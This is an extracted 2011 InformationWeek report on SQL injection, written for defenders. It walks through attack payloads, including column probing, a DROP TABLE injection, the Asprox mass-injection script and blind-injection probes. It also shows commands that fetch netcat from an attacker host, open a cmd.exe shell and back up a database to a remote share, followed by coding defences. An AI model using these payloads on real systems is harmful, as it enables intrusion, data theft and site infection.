Sie sind auf Seite 1von 22

July 2011 $99 Analytics.InformationWeek.

com

S t r a t e g y

S e s s i o n
Presented in conjunction with

Stop SQL Injection: Dont Let


Thieves in Through Your Web Apps
Think your corporate website isnt vulnerable to a SQL injection attack? Start rethinking. SQL injection is among the most prevalentand most dangeroustechniques for exploiting Web applications and attacking back-end databases that house critical business information at companies of every size. And it persists despite relatively simple and effective countermeasures. Here, we explain how SQL injection works, and how to secure your Web apps and databases against it.
By Brad Causey

Report ID: S3100711

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

CO NTENT S
2 July 2011

4 5 6 6 7 7 8

Authors Bio Executive Summary Web Apps: Gateway to Corporate Data The Lowdown on SQL Injection Normal Web Application-Database Interaction The Attacker Looks for an Opening Digging Deeper Automated Attacks Automated SQL Injection in Action Taking Over Blind, But Not Helpless Putting Blind SQL Injection to Work Preventive Measures: Secure Application Coding Method 1: Input Validation Method 2: Escaping Method 3: Parameterized Queries Another Tack: Stored SQL Procedures Enforce Least Privilege Combine Best Practices Related Reports

10 11 13 13 15 17 17 18 19 19 20 21 22

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

CO NTENT S

6 8 10 12 14 16

Figure 1: Source of Data Breaches Figure 2: Rising Cost of Data Breaches Figure 3: Web Application Vulnerabilities Discovered in 2010 Figure 4: SQL Injection Illustrated Figure 5: SQL Injection Under the Hood Figure 6: 2011 CWE/SANS Top 25 Most Dangerous Software Errors

ABOUT US | InformationWeek Analytics experienced analysts arm business technology


decision-makers with real-world perspective based on a combination of qualitative and quantitative research, business and technology assessment and planning tools, and technology adoption best practices gleaned from experience. If youd like to contact us, write to managing director Art Wittmann at awittmann@techweb.com, content director Lorna Garey at lgarey@techweb.com and research managing editor Heather Vallis at hvallis@techweb.com. Find all of our reports at www.analytics.informationweek.com.

3 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

Author Biography
4 July 2011

Report author Brad Causey is an active member of the security and forensics community worldwide, focusing largely on Web application security as it applies to global and enterprise arenas. He is currently employed as a security analyst. Brad is the president of the Open Web Application Security Project (OWASP) Alabama chapter, a member of the OWASP Global Projects Committee and a contributor to the OWASP Live CD. He is also the president of the International Information Systems Forensics Association chapter in Alabama. Brad is an author of several books and hundreds of articles in publications.

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

Executive Summary
5 July 2011

SQL injection continues to be one of the primary methods by which attackers exploit vulnerable Web applications and gain access to critical corporate databases. These attacks strike various types of infrastructures and software platforms; sometimes they are launched from inside the corporate network, but more typically external attackers use globally accessible Web applications as entry points. In March, for example, hundreds of thousands of sites were compromised by a SQL injection worm. What all these attacks have in common is that they rely on structured data, stored in a relational database in a multitier application structure. This is the menace of SQL injection; the first step to countering the threat is to understand it. In this report, we explain how attackers use this ubiquitous method to exploit Web applicationsin some cases, even when they dont know the nature of the vulnerabilities they are exploiting. We also demonstrate some basic ways to protect your apps and critical business databases against SQL injection.

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

Web Apps: Gateway to Corporate Data


Insider attacks justifiably draw a lot of attention, but external attacks are behind most corporate data breaches (see Figure 1, below). If attackers successfully exploit your Web application vulnerabilities using SQL injection, cross-site scripting and other less prevalent but damaging methods, they can steal credit card numbers, customer or patient information and other valuable business data. And a significant breach is likely to cost your company millions of dollars in notification expenses, complimentary services, such as free credit reporting for a year, and credit card replacement. Brand damage can be incalculable. Data breach incidents cost U.S. companies $214 per compromised customer record in 2010, according to the Ponemon Institutes sixth annual U.S. Cost of a Data Breach study; the average total per-incident cost was $7.2 million (see Figure 2, page 8). Attackers use a variety of methods and tools to penetrate enterprises, including social engineering and targeted phishing attacks and, increasingly, sophisticated malware. But Web applications are the gateway to corporate databases, and they are rife with SQL injection vulnerabilities that can be exploited to penetrate the enterprise.

The Lowdown on SQL Injection SQL injection flaws are arguably public enemy No. 1. Even after years as a leading Web security threat, SQL injection still makes up the largest portion of the vulnerabilities discovered
Figure 1

Source of Data Breaches


Nearly half of data breaches are perpetrated by internal agents.

External Attacks

70%
Internal

48%
Partners

11%
(Total exceeds 100 percent because of multiple breach sources) Data: 2010 Verizon Data Breach Investigation Report

6 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

today. In 2010, they were by far the most commonly found Web application vulnerability, followed by cross-site scripting errors (see figure 3, page 10) and have been on the OWASP Top 10 list of most serious Web security issues for years. SQL injection, at its most basic level, is simply manipulating an existing SQL query to perform an action not intended by the developer. This is typically done through the user interface in some area of a Web application. But how do these attacks work? And why are they so successful? Normal Web Application-Database Interaction All SQL injection vulnerabilities begin with nonvalidated user input of some type. User input can take many forms and include anything an attacker can manipulate that is processed by the server in some way. This includes user-agents, HTTP headers, POST parameters, cookies, GET parameters and even referrer headers. What makes nonvalidated user input unique is that the application does not perform sufficient checks to ensure that the input received is of the type and manner expected. Simplified, this means that although your application is written to receive, for example, a string of alphanumeric characters to be input as a user name, it does not validate that input and allows an attacker to insert, in the case of SQL injection, a database query (see Figure 4, page 12). For example, a typical website requests your user name and expects a result such as Bob: yoursite.com/userdetail.asp?username=Bob In this example, it is likely that a query, such as the following, is enabling the website to interact with the database behind the scenes to fetch information about users such as Bob: SELECT uname,fname,lname,phone,street,city,state,zip FROM users WHERE user = $var_username When the Web application code processes this request, the value (Bob) from the user name is being passed to $var_username for purposes of completing the query. The server should then format the results of the SQL query and display them so you can view Bobs details. The Attacker Looks for an Opening First, an attacker would likely check to see if the application is handling error conditions correctly. There are many ways to check for SQL error messages; each one depends on the database itself. The most common example is the apostrophe. The attacker might try inserting the

7 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

apostrophe instead of, or in addition to, a valid user name. yoursite.com/userdetail.asp?username= The attacker can learn a few things if an error appears. The error below, for example, makes it clear that this is a MySQL database. It also shows that the apostrophe is being interpreted by the database as part of the query. This reveals a possible SQL injection point, and warrants further investigation. Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ... at line 1 We used an apostrophe in this example, but any reserved characterthat is, a character reserved for special purposescan be used when testing for database errors. Reserved characters are unique to each database type. Digging Deeper Now that we know the basics about probing for SQL injection, lets explore further. Using the example of the MySQL error shown above, we can put ourselves in the shoes of the attacker, and we may be able to discover additional details about the table(s) being
Figure 2

The Rising Cost of Data Breaches


The average cost of a data breach has risen steadily, climbing to more than $7 million in 2010. Companies identified lost business (an average of more than $4 million) as the largest cost.

2008

$6,655,758
2009

$6,751,451
2010

$7,241,899
Data: Ponemon Institute Survey, U.S. Cost of a Data Breach

8 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

accessed by the application. Lets try this: yoursite.com/userdetail.asp?username=Bob order by 1 If we do not get an error, we learn that username is either the last variable in the SQL WHERE clausethe coding logic that allows us to retrieve specific data from a database table while excluding other, irrelevant dataor the only variable in the WHERE clause. We can now continue to increment the number by 1 until we get an error. So, for example, when we reach Bob order by 9, we might see: Error: user warning: Unknown column in order clause query: SELECT... Now we know that because we did not get errors until we submitted 9, we have eight columns in the table. While this knowledge is useful, we may simply want to get as much data as possible. Assuming no input validation is present, we can actually return the details from all users simply by using a known wildcard in the place of the user name. yoursite.com/userdetail.asp?username=% In this case, we would execute the following query, returning the details from all users: SELECT uname,fname,lname,phone,street,city,state,zip FROM users WHERE user = % We have a data breach, with lots of valuable customer information at risk. This may include passwords, which would typically be hashed or encrypted, that the attacker may attempt to crack later. It also may well include email addresses, which can be used in targeted phishing campaigns. Lets take it to the next level. Rather than insert a simple wildcard, we can terminate the query and get it to do something else in addition to its intended query. yoursite.com/userdetail.asp?username=bob; DROP users-For the sake of comparison, the SQL statement for a Microsoft SQL Server database might look like this: SELECT uname,fname,lname,phone,street,city,state,zip FROM users WHERE user = bob; DROP users--

9 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

Note also in this example that SQL Server lets you submit multiple queries in the same line (in this example, the SELECT and then DROP queries) by separating each from the next with a semicolon and closing with two dashes. This allows you to send a complete query of your own choosing to run after the completion of the initial query.

Automated Attacks There are two broad methods attackers use to take advantage of SQL injection vulnerabilities: automated and manual. While this may seem obvious, these two kinds of attacks are mechanically very different. Automated exploitation is generally the result of a tool built for a specific purpose. LizaMoon and Asprox, for example, use mass injection attacks to maximize their attack breadth and spread their code indiscriminately. These types of mass attacks generally target a very specific application architecture, such as IIS servers running classic ASP with Microsoft SQL Server database servers, in the case of Asprox.
Figure 3

Web Application Vulnerabilities Discovered in 2010


Misc - 9.2% XSS - 17.7% Path traversal - 8.0% Open redirection - 0.9% Input validation - 9.5%

Information leakage - 4.7% String format - 0.5% Design - 2.9% CSRF -2.3% Configuration - 0.8% Buffers - 16.8%
Data: cve.mitre.org

Injection - 22.9%

Authentication - 3.8%
S3100711/4

10 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

With Asprox, the intent was to inject a JavaScript or iframe tag into the page for purposes of distributing viruses. Automated SQL Injection in Action Heres an example of an advanced SQL injection attack that was able to inject into only certain field types, and was very effective for a long time in helping criminals distribute viruses: yoursite.com/ssp.asp?username=bob;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE TABLE_CURSOR CURSOR FOR SELECT A.NAME,B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.XTYPE=U AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167) OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(UPDATE [+@T+] SET [+@C+]=RTRIM(CONVERT(VARCHAR(4000),[+@C+]))+<script code>) FETCH NEXT FROM TABLE_CURSOR INTO @T,@C END CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;-Lets take a brief look at how this attack works against the back-end database. First, the attacker declares the Table (T) and Column (C) variables. DECLARE @T VARCHAR(255),@C VARCHAR(255) A table cursor that will house the query result is declared: DECLARE TABLE_CURSOR CURSOR FOR The following SELECT statement retrieves all user objects with column types text, sysname and varchar and stores the results in the cursor created previously: SELECT A.NAME,B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.XTYPE=U AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167) The table cursor now retrieves the results and assigns them to the table and column variables: OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @T,@C WHILE(@@FETCH_STATUS=0)

11 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

At this point, the attacker has retrieved a list of text-based columns in the database with the intent of modifying their contents. No modification has taken place, but all the necessary reconnaissance is complete to do so. Now the execution of an update statement pushes JavaScript into each column stored in the column variable. The attack is complete, and any pages containing Web content served from any field in the database will instead serve up the attackers malicious JavaScript. This JavaScript will then infect the Web users computer with a virus: WHILE(@@FETCH_STATUS=0) BEGIN EXEC(UPDATE [+@T+] SET [+@C+]=RTRIM(CONVERT(VARCHAR(4000),[+@C+]))+<script code>) FETCH NEXT FROM TABLE_CURSOR INTO @T,@C END At the very end of the injection, the attacker performs a cleanup to cover any tracks: CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;-These attacks are 100% automated; the tool simply searches the Internet using search engine sites for Web servers running classic ASP code. This dispels the common myth, My site is
Figure 4

SQL Injection Illustrated


1
Account: OR 1=1 -SKU:
Submit

SQL query
SELECT * FROM accounts WHERE acct= OR 1=1--

HTTP request 2 5 HTTP response

4 DB Table
Account Summary Acct:5424-6066-2134-4334 Acct:4128-7574-3921-0192 Acct:5424-9383-2039-4029 Acct:4128-0004-1234-0293

The application presents a form to the attacker (1), who uses it to send an attack in the form of an HTTP request to the application (2). The application then processes the request as it would a normal SQL query (3). The database runs the query containing the attack and returns encrypted results to the application (4). The application decrypts the data and sends it to the attacker (5). Data: OWASP

S3100711/2

12 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

small and insignificant, who would want to hack into it? If you are doing business on the Internet, no matter how big or small your business, you are vulnerable to attack.

Taking Over In many cases, the attacker can take complete control over the underlying operating system of the SQL server; the attacker can even take over the Web application, and ultimately the Web server itself (see Figure 5, page 14). Taking over the database server can lead to compromise of other applications, and even other servers in the DMZ. Modern Web application architectures commonly have database clusters, which share data stores with other systems, or even reside in less secure areas of the network. With this in mind, an attacker can use the method mentioned above to bypass typical IP source filtering rules in firewalls to attack the internal network, and might even use the SQL server to host viruses, pornography or other illegal wares. Also, by first taking over the database server, an attacker can modify the behavior of the Web application (as seen in the Asprox example). Often, this includes running commands locally on the Web server in the context of the Web server service account. If the service account has elevated privileges, the attacker can issue commands directly to the Web servers operating system, through the database server. In some cases, data is extracted from the DMZ database servers by scheduled routines, and pushed into the internal (trusted) network. This can be especially dangerous if the data is viewed by a Web interface in the corporate intranet, as most intranet Web applications operate with a higher level of trust.

Blind, But Not Helpless Often, the SQL error is obscured by the hosting framework, such as a Java or .NET framework. In some cases, errors are handled automatically by error-handling code, or even by the underlying code interpreter. Take this request, for example, in which the attacker uses an apostrophe instead of valid input: yoursite.com/userdetail.asp?username=

13 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

The result: User not found. This tells us that either the Web application is properly vetting user input or the framework is blocking robust error messages from being displayed. In cases like this, performing SQL injection becomes more difficult, but not impossible. Enter, blind SQL injection. Blind SQL injection works by checking to see if the database server actually processes the request, or if the request triggers some other reaction from the Web server or SQL server. For example, we have seen the request that can provide us with Bobs user details if the attack is successful. However, the WAITFOR DELAY instruction will instruct the SQL server to pause for one minute before responding with the results of the query: yoursite.com/userdetail.asp?username=bob;WAITFOR DELAY 0:1:0-Figure 5

SQL Injection Under the Hood


7 6
Page.asp?bob;BACKUP DATABASE DBNAME TO Disk=\\attackermachine\share\DBNAME.bak WITH NOFORMAT, INIT, NAME = N DBNAME-Full Database Backup, SKIP, NOREWIND, NOUNLOAD, STATS = 10--

2 1
Page.asp?bob; TRUNCATE TABLE adminusers; INSERT evilperson,P@asswOrd INTO adminusers

4
Page.asp?bob;EXEC XP_cmdshell TFTP I GET http://attackermachine/nc.exe; EXEC xp_cmdshell nc l p 8080 e cmd.exe

In this example of an attack aimed at a Microsoft SQL database, the attacker (1) inserts code (2) to exploit a vulnerable Web page (3) to remove all entries from the adminusers table. As a result, the attacker not only blocks access by previous administrators but has a full administrative account on the Web application. Using the same vulnerable Web page and the built-in xp cmdshell stored procedure, the attacker downloads nc.exe (4) to the local SQL server (5) and executes it. The attacker can now run operating system commands through SQL injection with administrative privileges. Using SQLs built-in BACKUP tool, the attacker can back up the entire database (6) to a remote location (7). Data: OWASP

S3100711/3

14 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

If the site is handling invalid user input correctly, it should provide a message back that says simply User not valid or some other notification that bob;WAITFOR DELAY 0:1:0-- is not a valid user. This would be the case only if the Web application correctly parsed the username variable value as a single parameter to be supplied into the query to the SQL server. Traditional SQL injection will return errors that let you know details about why or how your query failed. Essentially, blind SQL injection relies on a Boolean response (yes/no, true/false and so on) from the server: The request either was processed or failed. Blind SQL injection, once discovered, will offer the same possibilities as typical SQL injection, but is much harder to execute and takes longer to get information.

Putting Blind SQL Injection to Work Lets say we have discovered blind SQL injection on our example page, and wish to discover details about the tables and schema. Take this request: yoursite.com/userdetail.asp?username=bob AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtype=0x55),1,1)),0)>65-If we break this down, we can see how the results of this query will essentially be a yes or no to the question, Is the first character of this tables name an ASCII value of greater than 65? Starting from the innermost query: SELECT TOP 1 name from sysObjects WHERE xtype=0x55 This means: Grab the name at the top of the list from sysObjects (all tables) where xtype (object type) is equal to the ASCII of 0x55 (the uppercase letter U), which translates to user tables. So, basically, we are grabbing the first user-created table in the database. For the sake of simplicity, lets say the table is users: SUBSTRING(users),1,1 We are now creating a substring that contains the first character of the table name, users. Our value is u: ISNULL(ASCII(u),0)>65

15 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

We are checking to see if the result of the ASCII value of u is greater than 65validating that the table name begins with a letter. If the answer is yes, the query will be processed. If no, the query will not be processed. Using this method, we can simply increment our digits on each subsequent query to find the first letter of the first user table. So, for example, if we get a negative response to the > 117,
Figure 6

2011 CWE/SANS 25 Most Dangerous Software Errors


Rank

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

Score 93.8 83.3 79.0 77.7 76.9 76.8 75.0 75.0 74.0 73.8 73.1 70.1 69.3 68.5 67.8 66.0 65.5 64.6 64.1 62.4 61.5 61.1 61.0 60.3 59.9

ID CWE-89 CWE-78 CWE-120 CWE-79 CWE-306 CWE-862 CWE-798 CWE-311 CWE-434 CWE-807 CWE-250 CWE-352 CWE-22 CWE-494 CWE-863 CWE-829 CWE-732 CWE-676 CWE-327 CWE-131 CWE-307 CWE-601 CWE-134 CWE-190 CWE-759

Name Improper Neutralization of Special Elements Used in a SQL Command (SQL Injection) Improper Neutralization of Special Elements Used in an OS Command (OS Command Injection) Buer Copy Without Checking Size of Input (Classic Buer Overow) Improper Neutralization of Input During Web Page Generation (Cross-Site Scripting) Missing Authentication for Critical Function Missing Authorization Use of Hard-Coded Credentials Missing Encryption of Sensitive Data Unrestricted Upload of File With Dangerous Type Reliance on Untrusted Inputs in a Security Decision Execution With Unnecessary Privileges Cross-Site Request Forgery (CSRF) Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) Download of Code Without Integrity Check Incorrect Authorization Inclusion of Functionality From Untrusted Control Sphere Incorrect Permission Assignment for Critical Resource Use of Potentially Dangerous Function Use of a Broken or Risky Cryptographic Algorithm Incorrect Calculation of Buer Size Improper Restriction of Excessive Authentication Attempts URL Redirection to Untrusted Site (Open Redirect) Uncontrolled Format String Integer Overow or Wraparound Use of a One-Way Hash Without a Salt
S3100711/1

Data: cwe.mitre.org

16 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

we know the first letter is u, since the ASCII value of u is 117. After we have discovered that, we can simply change our SUBSTRING parameters to select the second letter, then the third and so forth. Ultimately, even with no error codes, we can discover the entire table structure of a vulnerable Web applications database through blind SQL injection.

Preventive Measures: Secure Application Coding Secure coding techniques can eliminate the vulnerabilities that allow SQL injection attacks. Lets explore three basic Web application secure coding methods. Method 1: Input Validation The most common method of preventing SQL injection at the Web application layer is to use input validation. This is useful regardless of language or platform, and is simply not to take action on any user input before it is validated to be the correct size and type. If you are expecting a square, dont accept a circle. Take this URL, for example: yoursite.com/userdetail.asp?userid=9899 Obviously, we are expecting an integer to be input in this GET request. A simple type check will tell us if this is a valid character, ensuring that the application will not process the input unless it is a numeric value. if (is_numeric($userid)){} In addition, if our user IDs are always four characters in length, we might want to take this a step further and enforce bounds-checking in addition to the integer check using a regular expression. if (preg_match(\d{4}, $string)) {} We are only limited by our creativity on how you validate user input valuesthe key is to validate every single value sent in by the user and used by the system.

17 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

Another way to perform type checking is with ASCII characters. User names are typically alphanumeric, so we are not likely to see @ symbols or ; characters. With this knowledge, we could likely parse the user name variable to see if any ASCII characters exist that are not 48-57, 65-90 or 97-122. Any ASCII characters outside these ranges (assuming the Latin character set) will not be valid for the user name variable, and should be rejected. This is an example of white listing. It is important to know the difference between white listing and blacklisting. White listing is accepting only values (or characters) known to be safe, such as numbers and letters. Blacklisting means you block or do not accept characters known to be malicious. Method 2: Escaping So far, type checking and bounds checking seem pretty easy, but not all data types are able to be checked so simply. In many cases we have varchar data types, which are expected to contain dangerous characters. This is especially common in comment fields and other long-form text fields. In these cases, we can use a technique known as escaping to ensure the content of the variable is never parsed as a part of the SQL statement. Take this request, for example: yoursite.com/comment.asp?msg=Hello Im visiting your site In this case, we have an apostrophe, a character normally considered malicious (recall that we used it in an earlier example), but we dont want to strip it out because it is used legitimately here, nor do we want to reject the message. We can get around this, in PHP, for example, by using the mysql_real_escape_string: mysql_real_escape_string($GET[msg]); This results in the following, which effectively renders the apostrophe character safe so it will not be used in any MySql queries: msg=Hello I\m visiting your site

18 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

Similarly, in .NET, it is common to use REPLACE to make the string safe. In the following example, the REPLACE function puts the apostrophe in quotation marks to make it a safe character: sql = replace(str, , ) Method 3: Parameterized Queries A third method of preventing SQL injection is called parameterized queries. This method is extremely effective because it controls the construction of the SQL statement very tightly. This disallows any major modification to the SQL statement before it is sent to the SQL server for processing. Using this example, from Java, we simply add our parameter to the already constructed static query. First, we will establish the actual SELECT statement using a question mark as the variable: String query = SELECT account_balance FROM user_data WHERE user_name = ? ; Next, we call the prepareStatement function: PreparedStatement pstmt = connection.prepareStatement( query );

Then, we assign the stringcustname to the variable in the query:


pstmt.setString( 1, custname); Finally, we execute the query, and store the results in a variable: ResultSet results = pstmt.executeQuery( ); By using this method, we are able to be sure no additional, malicious queries or parameters can be added to the query before it is sent to the database. Note that the custname variable should still be validated as discussed previously, as it is untrusted user input. Another Tack: Using Stored SQL Procedures It is entirely possible you may not have the ability to control how strong or weak the input validation and control is on a specific Web application. This might be because you dont have a say in the applications development life cycle. In many cases, the SQL development is done and may never change, while the Web application code undergoes multiple releases.

19 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

Still, there is good news, even if you only have the ability to control the security through the database. Using stored procedures gives a database administrator options in preventing SQL injection. Creating a stored procedure in Microsoft SQL, for example, is simple. Using our previous example: yoursite.com/comment.asp?msg=Hello Im visiting your site We would create a procedure that expects only the contents of our message. CREATE PROCEDURE sp_addComment @msg nvarchar(30) AS INSERT INTO comments_table ( msg ) VALUES ( @msg ) GO On execution, we would direct: EXEC sp_addComment @msg = $msg Using this method, we can ensure no unintended queries will be executed. If the value in the $msg variable doesnt fit into the data type of the procedure, an error will be raised, but no SQL injection condition will be possible.

Enforce Least Privilege The principle of least privilege asserts that no user accounts in use by any tier of a Web application should have more privileges than absolutely necessary to perform a specific function or set of functions. For example, many installations of MySQL run with root privileges. This is very risky, because any commands run against the system by the MySQL instance will do so

20 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

with the highest level of permissions possible. In all likelihood, the MySQL instance should need only a few specific permissions on the operating system to do its job. This same principle can be applied to how the tiers talk to each other. For example, the application likely uses a SQL user account to perform actions against the database. In many cases, we can assign specific permissions to this user account at the table or even column level that will prevent it from causing damage should it be used maliciously. If the users table should never be deleted by the Web application service account, remove those permissions from the user. If particular tables should never be modified by the service account, read-only permissions should be sufficient.

Combine Best Practices In addition to the strong security measures described above, it is a good practice to remove unused code, functions, libraries, built-in stored procedures and other unessential objects from every tier of the Web application. In most cases, this will require very deep knowledge of how each tier works, and what parts are needed for each tier to operate. However, removing these unnecessary items will significantly decrease the attack surface, and thus the tools available to an attacker. One example is the inclusion of the TFTP executable on older Windows operating systems. This executable typically is not used, so it should be removed, or locked down using access control lists, so attackers cant use it to exfiltrate data. SQL injection outranks all other Web application vulnerabilities (see Figure 6, page 16). But by using a combination of the techniques covered in this report, you should be equipped to stop SQL injection in its tracks. In most cases, any one of these techniques will have a dramatic positive impact on the security of your Web application and its supporting infrastructure. Just keep in mind that security is an ongoing process, and you must integrate it into the systems development life cycle at every step. By combining security in the development life cycle and performing regular testing, you can achieve a better security posture for your enterprise. Consider using dynamic Web application testing, tools and manual testing combined with source code reviews on the static code before each release goes live.

21 July 2011

2011 InformationWeek, Reproduction Prohibited

SQL Injection
A n a l y t i c s . I n f o r m a t i o n We e k . c o m

S t r a t e g y

S e s s i o n

Want More Like This?


Making the right technology choices is a challenge for IT teams everywhere. Whether its sorting through vendor claims, justifying new projects or implementing new systems, theres no substitute for experience. And thats what InformationWeek Analytics providesanalysis and advice from IT professionals. Our subscription-based site houses more than 800 reports and briefs, and more than 100 new reports are slated for release in 2011. InformationWeek Analytics members have access to:

Research: 2011 Strategic Security Survey: The 1,084 security pros responding to our 14th annual security survey say CEOs are finally making risk management a priority. They also weigh in on the emerging risk areas of mobile devices and social media, as well as security budgets, software development, compliance and the cloud. Strategy: Malware War: Its a never-ending battle as security labs work 24/7 to analyze
malicious code and the bad guys design ingenious ways to thwart their efforts.

Strategy: How SMBs Can Fight Cybercrime: Small and midsize businesses are falling
prey to cyberattacks that, in some cases, are cleaning out their corporate bank accounts. Follow these best practices to protect your assets.

Strategy: Database Breaches: Get a close-up look at five high-profile database breaches
including those at Gawker, McDonalds and Walgreensto extract critical lessons.

Strategy: Collaboration Security: A coordinated defense against the onslaught of cyberattacks is a mustbut it wont happen until companies can safely share security-event data with internal teams and external business partners. PLUS: Signature reports, such as the InformationWeek Salary Survey, InformationWeek 500 and the annual State of Security report; full issues; and much more.
For more information on our subscription plans, please CLICK HERE

22 July 2011

2011 InformationWeek, Reproduction Prohibited

Das könnte Ihnen auch gefallen